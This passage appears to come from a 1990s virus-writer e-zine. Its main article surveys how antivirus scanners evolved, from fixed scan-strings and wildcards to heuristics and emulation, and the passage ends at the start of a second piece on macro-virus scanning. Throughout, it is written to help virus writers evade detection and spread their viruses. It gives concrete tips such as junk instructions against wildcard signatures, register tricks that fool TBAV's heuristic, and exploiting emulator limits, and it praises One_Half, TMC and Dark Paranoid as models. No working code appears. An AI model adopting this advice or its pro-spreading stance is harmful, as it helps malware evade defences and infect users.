in the eternal 'game of hiding body' goes more to the direction of giving the virus body 'right color' than
building 'bullet-proof' walls of anti code. This leads in no way to the lower variability of the code. Having this
features this concept leads to the viruses which are TMC-like.
Another plus is the programming in HLL is more comfortable and faster, read more effective, not speaking of
the base address independency :-).
Think about it !
One can give a simplest answer: "Know your enemy!". However it is not so simple. Well, I have taken control
on one of our big tours aimed to antiviruses, so I have to answer. Who else can?
How you can write an virus without understanding antiviruses? With a very poor effeciency. The bad but
common atribute of virus writers is that they do not know, how does avirs works. Most of writers call
themselfs researchers, but in many cases they are not researching anything. Just writing some virii simmilar
one to another. Think a bit - it slightly simplyfies work for antivirus guys. They have no aditional effort to cover
new viruses. It is, in other words, schematic. New viruses can be covered within a minutes (or even seconds!
depends how wise they are and tools they wrote to do so) - it of course depends when they will do it and it
may takes them up to days or month(s) if they are overloaded with new samples. But no extra work to catch
all the samples in In-the-Wild set and get Virus Bulletin's 100% award. And i think you will not be happy to
be caught so easily.
This tour is oriented to explain you how antiviruses works, lists basic principles and theory of scanning (and
cleaning as well) methods, partially appoint how some best antiviruses works (and some our comments to
they hit-rates). We will also try to put some valid tests we made on real samples to show you this theories.
We are not going you to tell exact methods how to fool each antivirus, but to show you what way you must
think, and how to find newer and newer methods how to fool them. As if we list ten methods for example, if
all of them will be used there is no other method available. Of course, we will try to show some basic
directions, but you have to think! As writing virii is not for lamers. Not any more. Only best can survive. Think
as it is YOU, for a while.
Virus is as good as long it can survive. Some virus writers are writing their work for "research reasons" just
putting it into some collections, spreading between avers, but no more. Well, one may guess it is ethical. At
first I have to say - the most unethical thing associated with viruses is destruction. Never do that. You don't
have any reasons to do so. The else what left - is the virii principle itself - to spread and be spreaded. There
is nothing inbetween.
I can illustrate it on Uruguay virus family. Don't you know 'em? They are pretty known: originally, whole family
(as far as I know the latest is number 11) was written as some research virus to illustrate technologies.
Polymorphic technologies, of course. Their author, named Brueiurere didn't (as far as it is known) supposed
them for real spreading - only for avers and to complicate their life a bit. Samples were available for av-
researchers, later on only for some selected avers - they obtain samples with important note not to spread
them. As the avers a biggest virus-exchangers in the world soon most of them has those samples. Someone
of them even put uruguay#6 into real enviroment and this virus (only avers had it!) was detected in the wild.
This is classical example that also avers can spread viruses - even if they are saying they are a good guys.
But world is never black and white. Later on, uruguay's author was producing some newer versions: up
version #8 almost every aver have. Version #10 and #11 were given only to two peoples in the world Ilja
Gulfakov (dr.web) and xaefer (avp?). Are uruguays ethical? I don't think so - they are same viruses as other
ones, but it complicates life to avers and they don't want to spread them as they can hardly detect them.
I return back to the original idea - how long virus can survive. Sooner or later any virus can be detected (and
removed as well) unless we can change the current virii principle - but it is a another long discussion. For
avers easily detectable virus that fits to their scanning schemes makes no problem to detect and remove if it
appears in the wild. It only depends on how soon the unknown virus (up to that time) infects someone's
computer who can find out there is a virus and can see some changes and send sample to some av
company. The usual way (just think) is to put it to some directory to analyze it. It depends how much people
familiar with viruses they have to process all the samples they have. As many times there is a lot of rubbish
in such incoming files, damaged files, and viruses of course.
Some minutes, hours or days later virus is roughly checked (usualy not analyzed as complex analyzis tooks
lots of time) and a scan-string (or whatever they use) is selected. If it is as easy as mentioned, it doesn't take
lots of time. The more it is complicated the more work it takes. If it takes so much work, or they do not
understand it at first look, one puts it into some group for later processing (if they will have some free time
but they usualy have not if there is too many new viruses). If it is more important - for example it was
reported in the wild, or customer have this virus, it must be processed immediately (or sooner, let's say).
I will show another example here - well known Slovak virus One_Half (it has several variants, but forget
about them for now): it appears in Slovakia and local anti-viruses had to fight him, even as it was a bit
complicated (the better is to say non-standard) to detect it. But there were no need for big foreign companies
(like Dr.Solomon's Toolkit) to add this virus to scanning as it was non-standard - it was not so easy to add it,
so they don't. Even dr.solomon was sold in Slovakia, but it wasn't able to detect One_Half for a months (only
some selected samples that were in virus collections, but no others ;-). When this virus gets out of Slovakia
and infects other countries, it becomes a problem for av companies and they have to solve it - if it is standard
or not - customers are requesting it. It takes up to weeks or months for some to do so (also because
One_Half appears in In-the-Wild test set of VB). This ignorancy helps One_Half to spread a lot until they
were able to detect it successfuly.
Was One_Half so amazing and great? In fact, it wasn't. It has only two unusual things that made him
famouse - the rest of it is rather simple and uninteresing. The first one (more important for detection) is
something what I call distributed decryptor. It is rather easy but it beats the principle of scanners - that's why
it was too hard for them to detect: decryptor consist of 10 instructions (all fixed) but they are not at the same
place (or chunk). Each instruction surrounded with couple of rubbish instructions (choosed from 10 one-byte
instructions like clc, stc, sti, and some other simplest ones) with jump is placed at random place in host file.
Jumps connects them in order to keep execution loop. Very simple, isn't it? One can very easily detect this
virus. But avers weren't able to. As it doesn't fit their scanning schemes - they weren't able to detect it
without writing special aditional routines. And they are busy and lazy, of course (as everyone is).
Another unusual thing in One_Half was slow encryption of disc. Each time you reboot, it encrypts two tracks
of hard-disc starting from the end (don't think about some strong encryption! it is simplest xor with constant
word value) but as long as you have virus you can't notice anything because it (same as if you have a stealth)
on fly encrypts-decrypts data in encrypted area. But if one remove the virus, there is no more on-fly
decrypting and part of disk is left encrypted (xored, in other words) and user can't access files, etc. This was
also untraditional and simple removing leads to reinstaling of disk - and avers have to prepare special
routines that decrypts disk as well (some of them doesn't even up to now, but One_Half is over in these
days). But this is not what I want to appoint, as it indirectly leads to destruction.
What you should take from this story? No matter how your virus is complicated or bombastic, it is only
valuable if it can complicate life to avers. Thats it.
flush
Tie your seatbelts, prepare for long adventure through virus history. I will list basic principles of war between
viruses and antiviruses to show you how the story was going on. Most probably I will not be able to keep it in
chronological order but I try to use logical order, to show main technologies and counteractions on both
sides.
The story begins long long time ago (sounds like a fairtale, isn't it?) when first viruses were written. Doesn't
matter which one exactly it was, the more important is that some of them appears on user's computers. At
that time this war begins and it is continuing and growing up to now.
The Begining
No matter how big invetion were first self-replicating algorhitms, viruses are not first programs that were able
to do so. It started with worms and other hardly-clasifieable pieces of code a time before virii. But viruses
make change and normal people having computers becomes infected.
The very first viruses all follows one of two basic schemes. File and boot viruses and some of them survives
up to now. Old boot viruses are quite simple: they are spread in boot sector of floppy discs, and on booting
from such a floppy it copies itself into partition table and becomes resident (useful if there is no hard disc in
computer). Once it is resident, it infects bootsectors of all floppies beeing writen. Thats all folks, all it fits into
one sector. Michelangello or Stoned fits into this class.
File viruses like Jerusalem uses simple appending parasitic infection, infects com or exe files (or both of
them). When infected file is executed, it usualy becomes memory resident and infects all executed files
since. Some of them even don't have double-infection check (like Jerusalem) and often runned programs can
become quite long. I think all you know basic principles so I'm not going to explain such a trivial things.
At that time situation was quite easy. May be some of you seen, for example scan19 - yes it detects 19
viruses! There were really few viruses at that time. How to deal with tivial viruses? Well, first antiviruses were
really stupid and slow. Any program is and unique sequence of instructions - that something what every
programmer understands. But what one (aver) can do if he (usualy) doesn't understand file structures? The
result were simple algorithms very simmilar to searching for text in text editor - a whole(!) file is checked for
specified string. This is origin of name "scan-string" which is a fixed sequence of bytes choosed from virus
body. Moreover, some of first antiviruses scans file as many times as many strings they have. One may
guess it is quite unefficient and slow. Sure! But at that time disks were really small (and computers slow as
well). This technology was biggest invetion in order to fight viruses ever, I can say. It survives up to today but
in modified forms - as viruses are still using fixed code (plain or encrypted or whatever) and they can be
easily identified this way.
Antiviruses are bussiness. A big bussiness if one have a look at NAI. Beginigs were quite different, as many
independent (free) antiviruses were available just to help people. But one can't stay competition with big
money - look at Microsoft to see why. Today, to keep track of a big number of new viruses a many peoples
are needed to work on antivirus for a full-time, and everyone needs money. And people have to buy (or
support) antiviruses as they affraid of virus. Many people around the world things that viruses have to
destroy something - thats why they don't like viruses. But noone cares that Windows crashes caused much
more destruction than viruses. Because it is normal. Weird, isn't it?
Well, this fear of viruses was started with biggest computer virus hoax ever, initiated by McAffee - in order to
make money, of course. It was Michelangello couple years ago, may be some of you remember it: McAffee
informed about upcomming big computer dissaster caused by extremly dangerouse virus Michelangello.
They estimated 20 milions of destroyed computers at activation date. 20 milions were too big number even in
those days as there weren't as many computers around the world as today. This hoax comes from publisher
to publisher and it grew bigger and bigger - and information about this computer apocalypse appears in many
countries. I remember dady of my schoolfellow forbid him to turn on his computer (Sinclair ZX Spectrum with
8 bit Z80 cpu!) because a virus can came to is through network (power network of 220V!) and it can be
destructed. Wow! Unbelieveable, isn't it? Even more that repair disc destroyed by Michelangello tooks few
seconds with diskedit. But noone mentioned it in this hoax, of course. As activation day passed, everyone
understoods I hope, too few computers were destructed (comparing to 20M) but this hoax succeed: people
starts really affraid of viruses, and antiviruses are sold worldwide - they become a big bussiness.
Stealth counter-attack
Now let's think how scanners works in that time: scanner runned on computer infected with virus opens each
file and checks it for some id string. How you can hide? You can become "invisible" once you have total
control over computer (elementary under DOS) and hide files beeing scanned. This is called stealth (due to
U.S. Bombers B-2 called "Steath" - invisible for radars) and we may talk about two implementations for files:
disinfection on-fly (each opened file is disinfected and again infected on closing) and true stealth (all file
operations are checked and modified). And for boot viruses a sector redirecting is used.
Computer is infected with stealth virus. Virus is active in memory, user runs his favorite scanner and it is
searching for strings in files - but as it opens files with viruses, it can't find anything as virus hides itself. Nice,
isn't it?
Memory scanning
Imagine you are an aver (as you have think for both sides, otherwise you can't rule this war) - what would you
do with stealth viruses? Simplest answer is to scan memory as well, and if virus is found, ask user to boot
from clean floppy and run scanner this way - then there is no virus in memory and all is as before with regular
viruses. Easy easy.
Memory scanning in old times was simmilar to file scanning. All memory is checked for same strings as files,
if found - a virus is reported in memory. To speedup the things some antiviruses doesn't scan whole memory
but only possible locations - they may skip ROMs, antivirus itself, etc. But it differs from one implementation
to another. Memory scanning is not a big technical mirracle.
Once virus is found, some antiviruses were able to patch virus to be inactive and to continue without need to
boot from clean floppy. But due to many viruses appearing later it is not usual to do so today as there are too
many viruses and you can't write such a routines for every of them. AVP, for example performs such a
activity even now, but only a for few most common viruses. However it is quite userful for lazy users.
Inactivating can be done easily by replacing virus handlers with jump to original entry-point of hooked
interrupt. Also usualy a virus body is erased (except jumps of hooked interrupts in order to keep interrupt
chain functional) not to report virus again. It must be done in interrupt-shield (cli) of course to protect for
asynchronouse break-downs.
Another idea how to partialy inactivate virus in memory presented by some antiviruses is known-entry-point
methhod. There are two basic interrupts under dos: int 21h for files and int 13h for sectors (boot viruses). If
you know the original entry point (you know this version of dos or you have stored this entry-point at
installation process) you may find out if some virus is in memory and you can access functions without virus'
influence. Of course, for int 13h you must check not for real interrupt pointer as it points to DOS, but for
internal pointer in DOS that points to ROM as boot viruses are loaded (and hooks int13) before DOS does it.
But this technology in general has many weak points and it is forgotten today. As even legal programs may
redirect those interrupts because Microsoft designed its "OS" this way. For example caches, networks, etc
redirects this interrupt. Novell netware for example uses redirecting int21 instead of MS's recomended
network redirector facility for network implementation (because it is implemented in versions 4+). If you call
int21 entrypoint directly you can't scan Novell's disks. This technology caused many crashes and is unusable
in generic case, you may check my another article about this: why not to use direct disk access which deals
with these things.
Encryption
Once stealth viruses can be found in memory, another tryies comes with encryption expetiments. It started
with first encrypted viruses that had main virus body encrypted but there must be at least short decryption
routine. And this routine is still a fixed sequence of bytes - and it can be identified with a scan-string. One
may guess there is no improovement. Actually, not a big one, but it starts development in this direction.
Wild-card scan-strings
Situation complicates a bit. Avers are forced to you one scan string, for example only fixed 16 bytes of
decryptor. Btw: some stupid avers choosed scan-strings from virus body - e.g. xored each time with another
value, so they were able to catch only samples they have, but nothing else :-) Well, let's think about simple
xor routine, quite fixed, however there are several variable bytes: encryption constant (let's talk about one
byte) and starting offset. As they are not at the same place, the 16 bytes of decryptor (pure example) is
broken into 3 chunks of fixed bytes, biggest of them let's say 6 bytes long. And avers have a problem: 6 bytes
are really not enought for scan-string, as they are not absolutely unique - part of unvaluable loop can be
found in other programs (see discussion on scan-strings above). Oops, how to deal with it? (Think once
again as aver) What would you do? Once you have some technology implemented, functional and tested it is
best for you to use it at maximum. Scan-strings ... well, how about wildcards? Thats it: all you need is to
have one-byte substitution like '?' in shell patterns. In this case you can have still 16 bytes long scan-string
with 3 variable bytes. It fits the requirements and all is as before - you have a scan-string to identify virus, all
is okay. The most important is they were able to deal with it, but it tooks some time - and it gives viruses
possibility to be spread. This is first implementation of wildcards in avir's scan-string history, but not last
change in scan-string methodology of course...
Another problem that appears here is encryptor vs. body dilema. Once it identifies virus by encryptor only, it
can't make a difference between versions, moreover it can't make difference between different viruses with
same (or roughly same) decryptor. Well, cleaning problem can be solved by easy de-xoring by cleaning
routine - you must to do so if you want to clean encrypted virus - and you can check the difference after
decrypting. But this is important change in methodology - as there no exact identification before cleaning and
identification must be done once again at cleaning process in different conditions (a cleaning routine or
scanner executed once again can do it). This problem still remains and I will return to it later on with MtE.
Variabilizing encryption
Avers handled encryption with wild-cards, you have to think about something new again, unless you want to
be caught in a days. Once virus have some simple encryptor, you can improove it a bit: you can increase
variability not to be handled by '?' wildcards by inserting of nop's or any simple junk instructions. Then your
decryption instructions are not at fixed distances and simple wildcards will but be able to handle them. For
example, if you have two fixed instructions together, a scan-string can be choosed from both of them. But if
you insert 1-5 nops, scan-string with '?' will not deal with it (unless there are 5 scan-strings ;-) Simple, and it
can't be handled by current methods.
More wild-cards
How avers can find such encryptors? They implemented another type of wildcard for it - '*' equivalent for
variable number of random bytes. It tooks some aditional work but it as handled. Depends on implementation
how many random bytes they allow - if it is fixed, or a limits are included in scan-string, or whatever. Scan-
strings becomes differ from avir to avir. They were still able to handle all viruses with scan-strings but there
become a big number of strings to be used that slows down scanning itself (today it looks like a kids game
but viruses were at much the lower level than now too). Some avirs starting using some hierarchy in strings,
methods of strings and substrings (smaller set for generic identification and if found, more detailed set), pre-
sorting of strings into radix-tables, etc. It depends but all of them follows basic principles and fulfills the
requirements.
Interesting idea to speed-up scanning process is single-point scan-string, checked at fixed relative offset to
some important file position (e.g. entrypoint, file start or file end). Such a string can be shorter, as it is
checked only once at fixed offset (comparing to strings checked in whole loaded part of file) that decrease
possibility of false attacks (and it saves memory as well). It is much faster to scan for such a strings, and it is
easier to distinguish between versions. If a single-point string is well choosen it can be only 4-6 bytes long,
comparing to 12-18 bytes of regular string.
Algorithmic scanners
is the name of technology they present. As tries with mask for scan-string (to filter-out part of byte beeing
variable) doesn't show suitable results, a something new had to be found. Scanners started to use (parallely)
short routines to distinguish if piece of code is a known decryptor or not. It checks for some code sequences
or forms, if it fits hard-coded requirements, file is reported as infected by virus. Usualy they had as many
algorithm routines as many decryptors they want to recognize. As scheme of encryptors they are checking
for follows really easy rules, it can be tested with satisfieable results for positive infection.
Simple encrypted viruses were checked this way. But most of top avirs are not using this for trivial virii now
(some of them does, i.e. Avast! which always (ok, usualy) rates in VB's 100% award group - but you can see
tests - it can't identify even simply encrypted viruses exactly). So most of top avirs are using some kind of
tracing (i.e. emulating) because it is required today to handle many of complicated viruses, in some sort of
generic decryptor - routine which is able to decrypt simply encrypted viruses (or more complicated, it again
depends on implementation).
Inoculating
It was another interesting things antiviruses offers in old times - may be some of you remember for example
TNT Antivirus (it is gone) that does it. Functionality is simple - viruses usualy uses some marks to tag which
file was already infected, not to infect it again. (all this is nearly same for boots/mbrs). All you are using some
variable set in file, or virus body (some bytes) already found in file, or changing time/date of file. By
inoculating those atributes are set and virus will not infect it again. Sounds nice, but unfunctional in general :)
In that time there were not as many viruses, but it becomes imposible too - you simply can't inoculate files
agains all viruses. If they are checking for seconds of modification there can be two different viruses that set
it to two different values, so you can't cover both of them. Yes, viruses aren't testing files only for their flags,
but for some limits too. But some of them you can't fake - for example some values in exe header, or
overlays (program might become unfunctional).
These are the reasons why it can't be used for large number of viruses or for all viruses - it can be done for
one or some small number of viruses. Moreover, noone todays spends a lot of time with analyzis of viruses
today - most of them are analysed in a short time, and you have to know them completely to do inoculation,
otherwise it may damage inoculated files. Well, in other words I don't think there are any reasons to take care
about inoculaton today.
Checksummers didn't get a big success for these reasons, but they are still useable in many cases and even
more, with combination of heuristical cleaner they can be more efficient. But there are still lazy users which
are not using antivirus until they are infected. Because of it this can't be a really big weapon against viruses
in global. But there are still antiviruses are using it, and can reach a big efficiency of detecting and cleaning.
How they were detecting MtE? Well, a algorithmical scanners were this solution once again. But withou
visible schema it wasn't so easy. Most of antiviruses used (and mostly they are using also now) an
acceptage-disassembler. The idea is simple: MtE generates only some instructions, loop is always
terminated by dec/dec/jnz (well, not always, but no matter now) all you need is to know is given instruction
can be generated by MtE and the size of instruction (to know where the next instruction is). If a jnz is found,
you need to check if it is in backward direction and there are two dec-s before it. Well, and to solve
conditional paths - just try to pass both of the using recursion. If test is passed and backward jnz is found, a
MtE virus is reported. Such a test is fast enought, hits all infected samples and has no (or really really little)
false positives. And it can be as little as a bit more than 300 bytes as it is illustrated in TBAV.
Thats why some of antiviruses can't report exactly what virus is encrypted by some polymorphical library -
they are checking (usualy) if decryptor can be generated by coresponded poly engine. This technology is
intended to be non-destructive analyzis (not to load this code once again) in comparison with emulation.
I will not make big differences between each polymorphical engine as they are principialy unimportant. Some
engines were really easy piece of cake for avers, some made them a lot of problems. Some noticeable poly
engines usualy only reach some limits of antiviruses but never goes above them - thats why other poly
engines weren't so successful - because MtE settuped a rather high limit. I can show you it on SMEG - all
why it was so dangerouse for avers is because it can generate a really long decryptors.
Well, a big fear of avers can be, if many polymorphical viruses (or engines) appears in a short time, each of
them non-trivial (on some of limits of scanners), it will be really hard to implement specialised scanning
routines for all of them, if they are reported in-wild.
Heuristics
Well, this is a another big chapter, developed together with other technologies. A time ago, heuristic was only
a experiment how one can catch unknown virii. But wasn't quite relieable, widely it was introduced by TBAV
(sure everyone knows). As we have completely dedicated article to this topic I will not describe it here - only
to describe its reasons and influence in history.
Finally, with more and more viruses comming each month, some avers tried to find out something that can
detect even those they are not able to add so fast - to detect unknown viruses, in general. In fact it has same
proposal as checksumming already mentioned. For a long time heuristics was some kind of avers alchemy to
improove their hit-rates. It was magic that everyone admire (avers, virus-writes, gurus, coders and regular
lamers), but noone trust. Funny, isn't it? First for wide public, surely not best, and mostly fooled by virus-
writers is TBAV. TBAV puts all its power into fast heuristics but it has primary weak point - it was passive
instead of active (disassembling instead of emulation) and it wasn't able to go through encryptors. Another
bad thing for TBAV were displayed flags so anyone can see what internal flags were found on given file. And
using documentation you can find out what TBAV suspects on your virus - and you can tune up not to be
detected by TBAV easily. Soon many viruses started to be anti-tbav that means not detected by tbav's
heuristic by default (today it is some sort of standard). It is too bad for heuristic - as it is designed to catch
new viruses, but if they are all designed not to be detected by such a heuristic, there is no way to do so.
TBAV's heuristic finds its death in these things.
TBAV (followed by some plagiats) uses, as I already mentioned, a passive method or disassembly (in other
words) that analyses code (instructions) and detects some suspecting schemas - like setting registers and
calling interrupts, etc. There were a lot of flags (nearly for every letter of alphabet) for many things and they
are detected in different ways. But it was rather easy to fool, simply if it looks for mov ah,40 int 21, all you
need is to do mov ah, 3f inc ah int 21 and TBAV will not complain. For this reason anviruses that still uses
passive analyzis as main weapon combines it with register emulation (tbav as well) that can (a bit) keep a
track of values in registers. When int 21 is found, for example, a 10 instructions before are likely analyzed to
find out values of registers. It works in many cases and do not work in many cases as well.
Most funny thing was decryptor detection. It didn't work in many cases, and then tbav runs to detect
instructions from encrypted area - and usualy it founds many suspected instructions there of course. Well, I'm
not here to judge TBAV or other avir, for this proposal we have another article.
Another more powerful heuristic is presented by AVP (but it is usualy hidden as avp displays regulary
detected viruses at first), by DrWeb and Nod-iCE. They are using active heuristics (emulating as much as
possible) and are able to detect much more suspected activities. Also, you don't see any flags there, so it is
harder to fool them. But AVP's heurstic as well as Dr.Solomon's are setuped to be less-sensitive as they can
detect plenty of viruses by scan-strings and they do not need to be as successful on uknown viruses as
others. For this reason of course they have less false-positives as well (our experiments some time ago
shows that hit-rate of Dr.Solomon's heuristic for example is round about 70%).
Active heuristic (emulation) is destructive to code, as it emulates as much as possible, and it must be trickily
combined with scanning. But it simplifies scanning as emulation can simply go through decryptors and then
av can detect virus exactly as it is already in decrypted state. For this reason it is also called as generic-
decryptor in some antiviruses - if they are using emulation only for this. But heuristics finally after years of
beeing unsure becomes a standard, and as it is showed by Nod-iCE and DrWeb, it can be really relieable.
This what emulation gives us. However top antiviruses today uses combination of both methods.
Weak point of passive heuristic (or disassembly) is disassembly itself: there is difficult to find out values of
registers even in simple cases. Of course it depends on implementation of heuristic. Also any encryption, or
data-depended or highly-structured code can't be understood by disassembly-based heuristic scanner. As
heuristic scanner looks for typical structure of instructions of viruses (searching for executable files,
accessing and modifying them, becoming resident, etc) do this things in some tricky way, not clearly and
visible.
To fool emulation is much more difficult. Emulation typical executes code of virus, like in regular computer,
establishing some circumstances and testing if code is performing usual virii activity. At first, emulators are
limitied by its definition - they are much slower than regular machine, so long decryptors or routines jumping
long time each to other are aborted on a timeout - because heuristic can't hang for a long time on one file.
Then there are limits of processor - only one type of processor can be emulated (more-less) perfectly. You
can test processor if it works in the way it should: undocumented (but mostly unknown!) instructions, may be
some badly implemented instructions in their emulator (its hard to find). However, it is just work for couple of
minutes for them to implement another instruction. But there are also other limits - machine can't be
emulated completly: entire of file can't be loaded (imagine loading 500k exe file), virtual machine doesn't
work like it should - many of interrupts may not work, things doing by other parts of system are not also
completly emulated, i/o ports usualy doesn't work (may be some easies of them are emulated, but they can't
work with all of them), etc. Hardest for avers should be reaching limits of emulator, because they can't
extend their limits every time: memory length, file loading, emulation speed.
Cracking Windows
Have you ever crack a window? Just take a rock, and throw it to the window. Easy, isn't it? All right, I'm not
going to write about it, but about real Windows - Microsoft's revange to the rest of the world. Time ago, with
Win3.x world was devided between ones that doesn't like Windows (or even hate) and to the ones that likes
Windows. (who of them used it, it doesn't matter now). Simmilar it was at the virus scene - most of them
stayed at DOS level for three main reasons - there were no need to write for Win and DOS was good
enought, it was less documented and finally many of coders weren't able to code something for Windows.
Now it is a bit changed. Microsoft rocks the world with Windows 9x and turned everything to be PE-ized.
Well, history repeats:
Windows 3.xx
First Windows viruses were simple examples. At first, a file format is a bit changed - NE has extra fields,
there are different circumstaces in protected mode, but interrupts still works and things are more-less similar.
So the first viruses were simple non-resident infectors. And all avers needed to do is to implement scanning
of secondary entrypoint in NE. Virus was pretty visible, simple scan-string can be used. Later I remember a
big rumours about first resident viruses in Windows. A many discussions started if viruses will stay under
DOS or will move under Windows. Today I think all you know whats true. But Windows are more complicated
- there are more files beeing target of infection - DLL for example, and more things to infect in them.
Interesting example was virus that infects exported labels in DLL, for example exported function XyzA,
instead of regular entry-point was infected. What scanner must search for in this case? It has to go through
all the exports! And there can be a lot of them that will decrese speed of scanning rapidly. It is still interesting
idea. Only way it was handled by avers was scanning file-end (what they usualy do) for string, and oops -
virus is there. But if the things are more complicated to scan, some encryption for example or not to be
located on some easy determinable place - it will be really bad for avers (they'll have to emulate code at
every export label).
Memory scanning is also not possible in a way it was for scanners. Under Windows 3.xx one can do what he
wants - some viruses for example for this reason goes to Ring 0, but antivirus can do the same to scan all
the memory. But there is of course more memory to be scanned and it is rather slower. Today memory
scanning in Windows is not that prefered. Instead of it, a resident scanners are used more widely, as they
are more consistent now with operating system (Win 9x) and there is not as big hunting for memory as it
were under DOS with Bill's world famouse 640k limit.
Windows 95/98
was a real Microsoft's smash. Some of users tried to ignore it, but time shows that Win95 changed the world
- everyone start using it. Today virus writers must to focus on this platform, because there are lot of users.
First tries for Windows 95 started at the time when only beta version was available. VLAD promptly prepared
first virus for Win95, and they spend a lot of time with exploring the details - it was Bizatch (by
Quantum/VLAD). But their virus did not work under final Win95. The reason why it didn't work is simple - may
be some of you know book called "Inside Windows 95". A lot of userful things regarding windows internals is
published there - it was also published before Win95 was released. For this reasons, programmers at
Microsft got order to changed some important things in Win95 to be incompatible with the book already
written (to deny access to internal things). Also magic numbers of imports were changed there, and imported
label for example FileOpenA was no longer correctly linked at load time.
Another interesting is a Bizatch story. Because avers has access to beta version of this virus (well there are
some guys at virus scene that can trade internal things with avers without remorse) and they firstly assumed
it is not functional. Of course, a real version they also got later on. But they named it Boza (well, all-around-
the-world-hated Vesselin Bontchev (even avers hate him because of his ego)) - because he doesn't want to
please a virus author. But - CARO rules (setuped by Vesselin!) says that if virus calls itself in some way, this
name should be choosed primary. And Bizatch is: "Please note: name of this virus is [Bizatch] written by
Quantum of VLAD". Instead of it Vesselin find a name Boza (from bulgarian alcoholic drink) - with no
connection to original virus (this is the worst case suggested by CARO naming rules). Everyone at the scene
was angry about avers, of course.
Forget about flame wars now. Scanning - that what is interesting. Windows 95 were 32-bit, but format they
used - PE, was used even time ago. Windows NT 3.x used it as well as win32s extension to 3.xx versions. At
first what one can expect from 32bit file format - all offsets and pointers are 32bit, of course. Other principles
are more-less simmilar to NE - there is primary entry point, several segments can be defined, many exported
functions (for 32bit DLLs), etc. But things are same as before - to scan for simple virus (non-encrypted) all is
needed to load entry point of file and scan for some bytes - all is as before, only PE loader is needed.
Now let's see what weapons avers have against the Windows viruses. At first we have a look at oldies
scanning methods: scan-string scanning can be used in a same way as before. Checksummers may also do
its work but a PE (or NE) schemes must be implemented there. The hardest part is heuristics and generic
decryption (well, or both at the same time). For PE a 32bit emulator must be programmed and at the present
time I don't know about any antivirus having it fully functional DrWeb is preparing it, but not yet... For this
reason current heuristic engines uses for 32bit PE only passive heuristics (some kind of disassmbly). And
thats why there aren't generic decryptors and each polymorphical virus for Win9x must be handled
separately. But all Win9x viruses can be detected by its decryptor and - there are not many polymorphical
viruses for Win9x that are principialy different so at the present time a generic decryption is not as urgent as
it was for DOS.
Macro world
Microsoft offers many virus-friendly enviroments. During all the history it was this way and another powerfull
macro system becomes a new platform for viruses. Yeah, MS Office did it again. First tries to write virus for
Word were something like jokes. Most of people hassitated to call it virus, "self-spreading macro" was most
obviouse definition. But today everyone call it a virus, and there are realy many of them now. One may
guess there are even more macro viruses (or other script viruses) appears monthly than "regular" viruses.
Scanners have their life more complicated once again. Microsoft keeps "structured document format"
documentation for themsefs claiming: it is a internal format, you don't need to know about it, just use our
programming interface. However, Microsoft's interface doesn't allow enought to scan for viruses in macro
area. Avers had to find out document format by themselfs. Many of them weren't able to do it for a long time
(until third-party documentation appears). Because this format is up to twice fragmentized, and moreover -
fragmentation definition can be fragmented as well. Scanning macros was so unusual for avers, so some
antiviruses scanned whole files (funny, if virus body scanned for can be fragmented too - and they are not
able to catch fragmented pieces), or even specialized antiviruses appears and were rather successful at
market - like F-Win or HMVS.
From virus-maker's point of view there is no more needed than to understood macro commands. But avers
has to do much more. Microsoft's document format can be encapsulated in other formats and it is needed to
scan them all (like MS Excnage's folders, etc). Once they have reading routines to access macro area, a
regular scan-strings can be used. Some of first macro scanners just scanned from names of macros, but it is
outdated today. Scan-strings are really relieable. However, or polymorphic macro viruses things are more
complicated. For these reasons and again - to catch new viruses appearing every day, a heuristic scanners
appears. They are based on dissassembly of macro code (accessing macro area and walking through
instructions, finding unusual and/or suspected instructions or combinations). For macros heuristic is much
more reliable as instruction set is much more limitied, there are no registers or widely accessible memory,
etc.
Closing
Congratulation if you read all the things above. Hope it was not boring, and it helps you some way. The main
thing I tried to present here is you have to think, not plagiating other viruses, not doing all viruses same way
one right like another - but to show you that you have to understand scanning methods in order to write
better viruses. Because the more your virus complicates life to the avers, the more it is successful. If you can
write something that completly beats currently used methods, thats the best. I can give an example of slovak
viruses like Dark Paranoid, or TMC:Level_42, or let's start with german virus Tremor: its nothing unusual
except after it was detected by avers and added into scanners - it permutates (changed usual schema) and
old samples weren't caught by antiviruses again. Or Dark Paranoid: as they weak point of stealth viruses is
their presence in memory (and they can be detected there easily), Dark Paranoid is encrypted memory,
having polymorphical handler of single-step interrupt to encrypt only one instruction beeing executed. In this
way Dark Paranoid can't be caught in memory by simple scan-string, it can't be caught in files once it is
stealth. Or TMC, that stands for Tiny Mutation Compiler (well, linker actually) is able to permutates its own
instructions placing them in random order, connecting them with jumps and contitional jums and finally
relocates all memory access instructions and jumps. Scan string for it can't be choosed as it can be broken
after every single instruction. Moreover, in files it has only permutator and linker stored with data used to
constructuct and link whole body (not a instructions) - and it takes really long even to emulation heuristic to
construct whole virus and to test it.
These are examples of non-traditional thinking. Find your own way, break the limits of current point of view -
this way you can efectively beat avers - that they affraids most of all: they can't change principles of their
scanners every day. Think of it...
flush
In this article I would like to introduce my own view to scanning technologies for macros used in most
common antiviruses.
Structure of WB6/VBA
The first thing you have to understand is how macro is stored in file. This is probably the most important
reason why is scanning doing the way it is done. So let start. I will assume you know something about VBA
(visual basic for applications), what is the most common language used for macros. I would like to focus to
VBA, because it is more common than WB6 (word basic 6). VBA project is stored in its own folder. (you can
easy take a look at it by using dfview - suplied with DevStudio). Each macro is stored in stream with a bit
complex structure. Before macro is written to file it is compiled by built-in compiler to something like a stack-
machine language. So a = b + c is something like this:
push b ; put b to stack
push c ; put c to stack
add ; pop b, c and put it's summary to stack
pop a ; pop value and set a to it
Variables and function names are usually located in dictionary so it is a bit difficult to find them. In code are
just pointers or indexes. Moreover dictionary is not in macro file, so if avir (and many do so) is lazy it just
skips them.
Other important thing is that jumps and calls are not linked in file so it is a bit difficult to trace code flow.
Anoter aproach to scan VBA is to decode "source" suplied with macro. In this case avir have full source of
code (with all names and so on), so it is enough to skip some headers or something more and CRC it.
WB6 is much simplier in structure. It's code is stored in tokens (?), where each token has exact meaning. For
example space, +, -, SomeFunction, number, variable, and so on. So it is rather difficult to write emulator of
this language. I don't like to waste time with this, so some example (the same case as I used for vba):
variable "a"
operator '='
variable "b"
operator '+'
variable "c"
As you could easy find out this structure is very simple and that probably caused that most recent
technologie is CRC.
Scanning
Number of macro virii is growing day by day. This is a reason to use automatic systems to extract signatures.
Because they were coming with WB6, and WB6 has very simple structure, it seemed that CRC is the best. It
is "absolutely" exact - so it can recognise sub variants, it is fast and easy to implement. May be it seems silly,
but it was in days when everybody trusted that polymorphism in macro is not possible (what a mistake :-). So
